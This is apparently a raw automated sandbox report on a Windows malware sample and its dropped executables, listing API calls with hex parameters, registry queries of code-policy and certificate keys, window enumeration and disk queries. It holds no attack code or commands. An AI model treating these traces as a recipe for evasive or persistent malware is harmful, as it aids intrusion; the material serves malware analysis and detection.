"RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005160) "2kJ9830.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000446af0dde00266ffcc0499ffff04ccffff04e0dde0020000446a0000000001000000 (UID: 00000000-00005160) "2kJ9830.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000001011e5aae5a5390e4e0022a9d1a760000000024832f760400000000000000000000000cf6e00200000000e79c1a7602000780a4dee0020000000074000000f4dee002feffffff7cdee002cf007377d600737722cc9575740000003a000000f4dee0026f006e0050dee0026e007400b8dee002 (UID: 00000000-00005160) "2kJ9830.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005160) "2kJ9830.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000446ae0dd360466ffcc0499ffff04ccffff04d0dd36040000446a0000000001000000 (UID: 00000000-00005160) "2kJ9830.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000099049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff046633ff049933ff04cc33ff04ff33ff040066ff043366ff046666cc049966ff04cc66ff04ff66cc040099ff043399ff046699ff049999ff04cc99ff04ff99ff0400ccff0433ccff0466ccff0499ccff04ccccff040000446aa0ded80266ffcc0499ffff04ccffff0490ded8020000446a0000000001000000 (UID: 00000000-00005160) "5Jy6wg6.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000aced850000000000060000000000e371d8ed850002000040dcef8500dcef85001a12747700000000c4ed850000000000e86f89000203747700020000880174770000000020f08500a40174770000000000000000000000015500530045005200330032002e0064006c006c00000000000000000000006d7700006d77000000008aee8500d0006d77aced850088ee8500d4ee850095e16e77c2250700fefffffff5f6727716f87277a81e87008aee850080ee850080ee850001000000e4ee85009ef87277626f727764f87277cec3f0777412e37144ef85000000000000006d77 (UID: 00000000-00005528) "5Jy6wg6.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ff2b7277eadbf077000000009401870000008700000087000000000019004a0019000000120000000000000000000000000000001a005200 (UID: 00000000-00005528) "5Jy6wg6.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000dd000000000090568c00acf5850014c6286b07000000d0cd8b000000870038ce8b00cc7d286b90568c00000000000000000006000000b0f68500070000000700000017687277d8cd8b0000000000435c72779adbf07700000000bc0187000000870050018700d0f68500145c727750018700fadbf0777401870000000000060000000001dd00500187000d00000090568c00f22c73770d00000000fe00fe07000000000000005001dd0000100000c805e4000000000002000002805a890011000011323b0700feffffff0000000080000000000000002b230008a858890001000000 (UID: 00000000-00005528) "5Jy6wg6.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005528) "5Jy6wg6.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005528)2d:T1bd9,"2kJ9830.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005160) "5Jy6wg6.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100001cef85008a874975683b8b00ccef8500980a6500980a6500000000002c304975b2f4727776c2f077b4ef85000000e3710000e3711cef850044ef8500f0000000f000e3710000000020ef850000000000b4f08500000000000100000084ef850040f57277000000000000000070ef8500 (UID: 00000000-00005528) "5Jy6wg6.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100001ea33a0073903a006cf78500a0903a0020f78500c4483b0012000000acc23a000000000010000000c4483b0012000000acc23a00a09c3a0006000000029e3a00060000005a9e3a0001be3a0046dd3a006cf78500219e3a0078f785007804b200c4483b00120000000600000045e33a00 (UID: 00000000-00005528) "5Jy6wg6.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100005e3c23009f2223006cf78500cc22230020f78500608b3500ac0000002c8f230064f6850010000000608b3500ac0000002c8f2300843323000e000000423723000e0000009a372300018a230042e823006cf785006137230078f785005c043a02608b3500ac0000000e00000089ee2300 (UID: 00000000-00005528) "5Jy6wg6.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000003a020040010018f6370054f7000054f70000ed1f230000403a02000001000cf63700b820230080f58500f0504b0054f700000000230080f58500cb2223007ef33a00eff33a0000002300f0504b006c273a02e8f7850098f58500000023000100000000000000a4c4280046020000 (UID: 00000000-00005528) "5Jy6wg6.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000f46f8d0000000000000074002e004e00450054005c004600720061006d00650077006f0072006b005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d0061006300680069006e0065002e0063006f006e00660069006700000057005300 (UID: 00000000-00005528) "5Jy6wg6.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8ebeb7590e5930000c0fd7f9a5c737700f0fd7f10b9850044c0fd7f00000000400000003f0000003000000000c0fd7f04b98500c15c737760827a773000000000c0fd7f9a5c737700f0fd7f28b985005789727780837a7713178d75d8ebeb75 (UID: 00000000-00005528) "5Jy6wg6.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000106f8700480000001000000000000000783c9d00006c8700346d870020f19d00d072870000008700a4e71e0ba8e71e0b20ef1e0b95e16e773a310700feffffffff2b72779a2a727700519f00030000000000000030080000106f87005ce81e0bbb5c5f70000087000000000022080000 (UID: 00000000-00005528) "5Jy6wg6.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000338aef681061a2000000000008de85002827ef681061a20050de85000723ee681061a20020000000000000005c37ee682812870324b4de03281287030200000000000000180000000061a20054de85002823326b00008700000000000c00000024b4de0360de85002f99d2680c000000 (UID: 00000000-00005528) "5Jy6wg6.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007568c58c0050968b000000000068c58c0020000000040000008cde850050dce27568c58c00100000000c1c9300f4355e0a10000000b8de8500a6ec8e6d0200000000000000180000000832d268bcde85002823326b00008700000000000c0000000832d268c8de85002f99d2680c000000 (UID: 00000000-00005528) "5Jy6wg6.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000001000000e0df85006a6f7e6300000000bc6f7e636fe648515cdb85000000000030ed850015dec175a3fc0e24feffffff7f67c975e2d8b2752824a76c02000000000000001800000030a5d268a0df85002823326b00008700000000000c00000030a5d268acdf85002f99d2680c000000 (UID: 00000000-00005528) "5Jy6wg6.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000338aef68304f92000000000008de85002827ef68304f920050de85000723ee68304f920020000000000000005c37ee68281287039425df0328128703020000000000000018000000004f920054de85002823326b00008700000000000c0000009425df0360de85002f99d2680c000000 (UID: 00000000-00005528) "5Jy6wg6.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007560e8930050968b000000000060e893002000000000000000bcde850050dce27560e8930010000000c4128b0004725e0a10000000e8de8500a6ec8e6d0200000000000000180000000832d268ecde85002823326b00008700000000000c0000000832d268f8de85002f99d2680c000000 (UID: 00000000-00005528) "5Jy6wg6.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000338aef6860b192000000000008de85002827ef6860b1920050de85000723ee6860b1920020000000000000005c37ee6828128703403bdf032812870302000000000000001800000000b1920054de85002823326b00008700000000000c000000403bdf0360de85002f99d2680c000000 (UID: 00000000-00005528) "5Jy6wg6.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007560e8930050968b000000000060e893002000000000000000b4de850050dce27560e8930010000000ec17930054435e0a10000000e0de8500a6ec8e6d0200000000000000180000000832d268e4de85002823326b00008700000000000c0000000832d268f0de85002f99d2680c000000 (UID: 00000000-00005528) "5Jy6wg6.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000338aef6860b192000000000008de85002827ef6860b1920050de85000723ee6860b1920020000000000000005c37ee6828128703384fdf032812870302000000000000001800000000b1920054de85002823326b00008700000000000c000000384fdf0360de85002f99d2680c000000 (UID: 00000000-00005528) "5Jy6wg6.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310075b0e8930050968b0000000000b0e893002000000000000000b0de850050dce275b0e8930010000000ec179300944b5e0a10000000dcde8500a6ec8e6d0200000000000000180000000832d268e0de85002823326b00008700000000000c0000000832d268ecde85002f99d2680c000000 (UID: 00000000-00005528) "powershell.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8ebeb75e006340000b0fd7f9a5c737700f0fd7fc8bb220044b0fd7f00000000400000003f0000001e00000000b0fd7fbcbb2200c15c737760827a771e00000000b0fd7f9a5c737700f0fd7fe0bb22005789727780837a7713178d75d8ebeb75 (UID: 00000000-00005884) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b005c00760032002e0030002e00350030003700320037005c006d00730063006f00720077006b0073002e0064006c006c002e0032002e004d0061006e00690066006500730074000000 (UID: 00000000-00005884)2e:T6ef,"dcb10b49c7d8d03b15484c3ca04e7086.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "tv5xp30.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "tv5xp30.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "AD1Sg20.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "AD1Sg20.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "2kJ9830.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2kJ9830.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "5Jy6wg6.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "5Jy6wg6.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "schtasks.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "6vx5my2.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")2f:T4cc,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")30:T58f,Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "dcb10b49c7d8d03b15484c3ca04e7086.exe") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "6vx5my2.exe.3132430354") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00004104.00000000.69290.00400000.00000040.mdmp, 00000000-00004104.00000002.73135.00160000.00000040.mdmp, 00000000-00004104.00000002.73135.00400000.00000040.mdmp, 00000000-00004104.00000003.75745.00400000.00000040.mdmp") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetMonitorInfoW" (Indicator: "GetMonitorInfo"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00005176.00000002.68958.010DA000.00000002.mdmp")31:T42b,Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "6vx5my2.exe.3132430354") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "FindWindowW" (Indicator: "FindWindow"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; Source: "00000000-00005160.00000000.65758.0029C000.00000002.mdmp")32:T736,"5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "5Jy6wg6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")33:T996,"5Jy6wg6.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\5Jy6wg6.exe" at 00000000-00005528-0000010C-4369246 "5Jy6wg6.exe" queries volume information of "C:\" at 00000000-00005528-0000010C-26227850 "5Jy6wg6.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\FANBooster131\FANBooster131.exe" at 00000000-00005528-0000010C-26473380 "5Jy6wg6.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005528-0000010C-41222587 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-2532155 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-3059058 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-3863772 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-4590584 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-5380922 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-6147373 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-6883353 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-7434360 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-8598994 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-9344675 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-10106353 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-10862368 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-11653873 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-12312750 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-18468420 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-19272961 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-20060778 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-20671727 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-21216261 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-21759528 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-2261452934:T8be,"5Jy6wg6.exe" queries volume information of "C:\" at 00000000-00005528-0000010C-26227850 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-2532155 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-3059058 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-3863772 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-4590584 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-5380922 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-6147373 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-6883353 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-7434360 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-8598994 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-9344675 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-10106353 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-10862368 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-11653873 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-12312750 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-18468420 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-19272961 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-20060778 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-20671727 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-21216261 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-21759528 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-22614529 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-23463084 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-24008854 "6vx5my2.exe" queries volume information of "C:\" at 00000000-00004104-0000010C-2473599135:T9b8,"5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "5Jy6wg6.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "5Jy6wg6.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "5Jy6wg6.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "5Jy6wg6.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "5Jy6wg6.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "5Jy6wg6.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "5Jy6wg6.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "5Jy6wg6.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "5Jy6wg6.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "5Jy6wg6.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "5Jy6wg6.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "5Jy6wg6.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "5Jy6wg6.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "5Jy6wg6.exe" (Path: 